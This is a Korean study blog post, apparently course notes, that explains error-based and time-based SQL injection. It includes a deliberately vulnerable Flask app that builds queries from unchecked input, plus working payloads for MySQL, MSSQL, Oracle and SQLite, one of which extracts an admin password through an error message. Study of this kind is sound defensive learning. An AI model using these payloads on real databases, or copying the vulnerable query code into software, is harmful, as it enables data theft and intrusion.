Web Hacking/Study

Error & Time based SQL Injection

박연준 2023. 7. 1. 23:45

애플리케이션이 어떻게 동작하는지에 따라서 SQL Injection 공격 형태가 달라진다. 예를 들어, 게시판 서비스에서 해당 취약점이 발생하면 게시물의 제목, 본문을 이용해 데이터베이스의 정보를 획득할 수 있다. 이는 SQL 쿼리가 실행되는 결과를 공격자가 직접 눈으로 확인할 수 있다. 이와 달리 쿼리 결과를 애플리케이션의 기능에서 출력하지 않는 경우도 있는데, 이러한 상황에서 공격을 수행하는 Error based SQL Injection과 Time based SQL Injection이 파생되었다. 이들은 취약점 발생 형태는 같으나 공격 성공 여부를 어떻게 판단하느냐에 따라 명칭이 구분된다.

Error based SQL Injection

  • Error based SQL Injection은 임의의 에러를 발생시켜 데이터베이스 및 운영체제의 정보를 획득하는 공격 기법이다.
  • 다음은 해당 기법을 실습하기 위한 예제 코드로, Flask 프레임워크를 사용한다.
    • 코드를 살펴보면, 디버그 모드가 활성화되어 있는 것을 확인할 수 있으며 이용자 입력값이 별다른 검사 없이 SQL 쿼리에 포함되어 SQL Injection 취약점이 발생한다. 그러나 게시물, 알림과 같이 SQL 실행 결과를 출력하는 코드가 존재하지 않고 쿼리 실행 결과만을 판단한다.

      Error based SQLI 실습 예제

      from flask import Flask, request
      import pymysql
      
      app = Flask(__name__)
      
      def getConnection():
        return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')
      
      @app.route('/' , methods=['GET'])
      def index():
        username = request.args.get('username')
        sql = "select username from users where username='%s'" %username
        
      	conn = getConnection()
        curs = conn.cursor(pymysql.cursors.DictCursor)
        curs.execute(sql)
        rows = curs.fetchall()
        conn.close()
        
      	if(rows):
          return "True"
        else:
          return "False"
      
      app.run(host='0.0.0.0', port=8000, debug=True)

Error based SQL Injection 공격 방법

  • Flask 프레임워크로 개발된 애플리케이션에서 디버그 모드를 활성화하면 코드에서 오류가 발생할 때 발생 원인을 출력한다. 공격자는 오류 메시지를 통해 공격에 필요한 다양한 정보를 수집하고, 원하는 데이터를 획득할 수 있다.

  • 다음은 admin 1’ 쿼리를 삽입했을 때 에러 메시지가 발생한 모습이다. 에러 메시지를 살펴보면, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'admin''' at line 1”라는 문장을 확인할 수 있다.
  • 이는 admin 1’ 쿼리를 입력하면서 문법 에러가 발생하였다는 메시지이다. 에러 메시지와 같이 쿼리 실행 결과를 직접 노출하지는 않는다. 그러나 중요한 정보를 노출하는 방법들이 존재한다.

    에러 메시지 발생

Error based SQL Injection 공격 코드 작성

  • 애플리케이션에서 발생하는 에러를 이용해 공격하려 한다면 문법 에러와 같이 DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 (Runtime) 즉, 쿼리가 실행되고나서 발생하는 에러가 필요하다.

  • 다음은 MySQL 환경에서 해당 기법으로 공격할 때 많이 사용하는 쿼리와 실행 결과이다. 결과를 살펴보면, 에러 메시지에 운영 체제에 대한 정보가 포함되어 있는 것을 확인할 수 있다.
  • 공격자는 해당 정보를 통해서 1-day 또는 0-day 공격을 통해 서버를 장악할 수 있다. 해당 쿼리를 이해하려면 extractvalue 함수에 대해서 알고 있어야 한다.

    Error based SQLI 공격 예시

    SELECT extractvalue(1,concat(0x3a,version()));
    /*
    ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
    */

extractvalue

  • extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다. 만약 두 번째 인자가 올바르지 않은 XPATH 식일 경우 올바르지 않은 XPATH 식이라는 에러 메시지와 함께 잘못된 식을 출력한다.
  • 다음은 각각 올바른 사용 에시와 올바르지 않은 예시이다.
    • 올바른 예시를 살펴보면, XML 데이터를 전달하고, 올바른 XPATH 식을 전달해 쿼리가 정상적으로 실행되는 것을 볼 수 있는 반면, 올바르지 않은 XPATH 식을 전달하면 에러 메시지에 삽입한 식의 결과가 출력되는 것을 확인할 수 있다. 되돌아가서 Error based SQLI 공격 예시를 살펴보면 XPATH 식에 삽입한 version 함수가 실행되면서 에러 메시지에 운영체제 정보가 포함된다.

      extractvalue 올바른 예시

      mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
      +-----------------------------------------------+
      | extractvalue('<a>test</a> <b>abcd</b>', '/a') |
      +-----------------------------------------------+
      | test                                          |
      +-----------------------------------------------+
      1 row in set (0.00 sec)

      extractvalue 잘못된 예시

      mysql> SELECT extractvalue(1, ':abcd');
      ERROR 1105 (HY000): XPATH syntax error: ':abcd'
      # ":" 로 시작하면 올바르지 않은 XPATH 식

extractvalue 응용

  • extractvalue 함수를 응용해 사용할 경우 데이터베이스의 정보를 추출할 수 있다.
  • 다음은 서브쿼리를 사용해 임의 테이블의 데이터를 획득한 모습이다.

    extractvalue를 이용한 데이터베이스 정보 추출

    mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
    ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

Error based SQLI 응용

  • DBMS 별로 Error based SQLI를 통해 공격하는 방법을 소개한다.
  • 소개하는 쿼리의 일부는 DBMS 환경에 따라 실행되지 않을 수 있다.

    MySQL

    • MySQL Error based sQLI 응용 예시 - 1
      SELECT updatexml(null, concat(0x3a, version(), null);
      /*
      ERROR 1105 (HY000): XPATH syntax error: '
      5.7.29-0ubuntu0.16.04.1-log'
      */
    • MySQL error based SQLI 응용 예시 - 2
      SELECT extractvalue(1,concat(0x3a,version()));
      /*
      ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
      */
    • MySQL error based SQLI 응용 예시 - 3
      SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
      /*
      ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'
      */

    MSSQL

    • MSSQL Error based SQLI 응용 예시 - 1
      SELECT convert(int,@@version);
      SELECT cast((SELECT @@version) as int);
      /*
      Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86) 
      	Feb 20 2014 19:20:46 
      	Copyright (c) Microsoft Corporation
      	Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
      ' to data type int.
      */

    Oracle

    • Oracle Error based SQLI 응용 예시 - 1
      SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
      /*
      ORA-20000: Oracle Text error:
      DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
      ORA-06512: at "CTXSYS.DRUE", line 183
      ORA-06512: at "CTXSYS.DRITHSX", line 555
      ORA-06512: at line 1
      */

Error based Blind SQL Injection

  • Error based Blind SQL Injection은 앞서 알아봤던 Blind SQL와 Error based SQLI를 동시에 활용하는 공격 기법이다. 이를 통해 임의로 에러를 발생시키고 참/거짓을 판단해 데이터를 추출할 수 있다.
  • Error based SQLI 기법에서는 에러 메시지를 통해 출력된 데이터로 정보를 수집해 출력값에 영향을 받지만 Error based Blind SQLI를 이용하면 에러 발생 여부만을 필요로 하기 때문에 용이하게 사용할 수 있다.
  • 다음은 해당 기법을 이용한 예시 쿼리이다.
    • 쿼리를 살펴보면 MySQL의 Double 자료형 최댓값을 초과해 에러를 발생시킨다. 쿼리가 실행되면 서버가 반환하는 HTTP 상태 코드 또는 애플리케이션의 응답 차이를 통해 에러 발생 여부를 확인하고 참/거짓 여부를 판단할 수 있다.

    Error based Blind SQLI 공격 예시

    mysql> select if(1=1, 9e307*2,0);
    ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
    mysql> select if(1=0, 9e307*2,0);
    +--------------------+
    | if(1=0, 9e307*2,0) |
    +--------------------+
    |                  0 |
    +--------------------+
    1 row in set (0.00 sec)

Short-circuit evaluation

  • 로직 연산의 원리를 이용해 공격하는 방법 또한 존재한다. 예를 들어, A와 B라는 식이 있을 때 AND 연산자를 사용할 경우 두 식의 결과가 모두 참이 반환돼야 전체 식이 참이 된다. 두 개의 식 중하나라도 거짓을 반환하면 B 연산을 실행하지 않는 점을 이용해 공격할 수 있다.

  • 다음은 연산자를 이용해 공격하는 예시 쿼리이다. 두 쿼리문의 결과를 확인해보면 처음 식이 거짓을 반환할 경우 SLEEP 함수가 실행되지 않고, 처음 식이 참인 경우 SLEEP 함수가 실행된 것을 볼 수 있다.

    AND 연산자를 이용한 공격 예시

    mysql> SELECT 0 AND SLEEP(1);
    +----------------+
    | 0 AND SLEEP(1) |
    +----------------+
    |              0 |
    +----------------+
    1 row in set (0.00 sec)
    mysql> SELECT 1 AND SLEEP(10);
    +-----------------+
    | 1 AND SLEEP(10) |
    +-----------------+
    |               0 |
    +-----------------+
    1 row in set (10.04 sec)

  • 다음은 OR 연산자를 사용한 예시 쿼리이다. OR 연산자는 처음 식이 참이라면 뒤따라오는 식의 결과에 영향을 받지 않는 점을 이용해 공격할 수 있다.

    OR 연산자를 이용한 공격 예시

    mysql> SELECT 1=1 or 9e307*2;
    +----------------+
    | 1=1 or 9e307*2 |
    +----------------+
    |              1 |
    +----------------+
    1 row in set (0.00 sec)
    mysql> SELECT 1=0 or 9e307*2;
    ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'

Time based SQL Injection

  • Time based SQL Injection은 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법이다.
  • 시간을 지연시키는 방법으로는 DBMS에서 제공하는 함수 또는 시간이 많이 소요되는 연산을 수행하는 헤비 쿼리 (heavy query)를 사용하는 방법이 있다.

  • 다음은 DBMS에서 기본적으로 제공하는 sleep 함수를 사용한 예시이다. 결과를 살펴보면, IF 조건문이 참일 경우 sleep 함수가 실행되어 “1 row in set (1.00 sec)” 메시지가 출력된 것을 확인할 수 있다.

    sleep 사용 예시

    mysql> SELECT IF(1=1, sleep(1), 0);
    /*
    mysql> SELECT IF(1=1, sleep(1), 0);
    +----------------------+
    | IF(1=1, sleep(1), 0) |
    +----------------------+
    |                    0 |
    +----------------------+
    1 row in set (1.00 sec)
    */
    mysql> SELECT IF(1=0, sleep(1), 0);
    /*
    mysql> SELECT IF(1=0, sleep(1), 0);
    +----------------------+
    | IF(1=0, sleep(1), 0) |
    +----------------------+
    |                    0 |
    +----------------------+
    1 row in set (0.00 sec)
    */

Time based SQLI 응용

  • DBMS 별로 Time based SQLI를 통해 공격하는 방법을 소개한다.
    • MySQL

      sleep 함수 사용 예시

      /* SLEEP(duration) */
      mysql> SELECT SLEEP(1);
      +----------+
      | SLEEP(1) |
      +----------+
      |        0 |
      +----------+
      1 row in set (1.00 sec)

      benchmark 함수 사용 예시

      /* BENCHMARK(count, expr) */
      mysql> SELECT BENCHMARK(40000000,SHA1(1));
      +-----------------------------+
      | BENCHMARK(40000000,SHA1(1)) |
      +-----------------------------+
      |                           0 |
      +-----------------------------+
      1 row in set (10.78 sec)

      헤비 쿼리 사용 예시

      mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
      +----------+
      | heavy    |
      +----------+
      | 24897088 |
      +----------+
      1 row in set (1.41 sec)
      mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B) as heavy;
      +-------+
      | heavy |
      +-------+
      | 85264 |
      +-------+
      1 row in set (0.01 sec)
      mysql> SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
      +----------+
      | heavy    |
      +----------+
      | 24897088 |
      +----------+
      1 row in set (1.38 sec)

    • MSSQL

      WAITFOR 사용 예시

      /* waitfor delay 'time_to_pass'; */
      > SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
      Execution time: 1,02 sec, rows selected: 0, rows affected: 0, absolute service time: 1,17 sec, absolute service time: 1,16 sec

      헤비 쿼리 사용 예시

      select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
      /*
      Execution time: 6,36 sec, rows selected: 1, rows affected: 0, absolute service time: 6,53 sec, absolute service time: 6,53 sec
      */

    • SQLite

      헤비 쿼리 사용 예시

      /* LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) */
      sqlite> .timer ON
      sqlite> SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
      0
      Run Time: real 9.740 user 7.983349 sys 1.743972

'Web Hacking > Study' 카테고리의 다른 글

CSP(Content Security Policy)  (1) 2023.12.23
XSS 필터링 우회  (2) 2023.12.21
ExploitTech: Blind SQL Injection Advanced  (0) 2023.07.01
Background: SQL Features  (0) 2023.07.01
정규 표현식  (0) 2023.07.01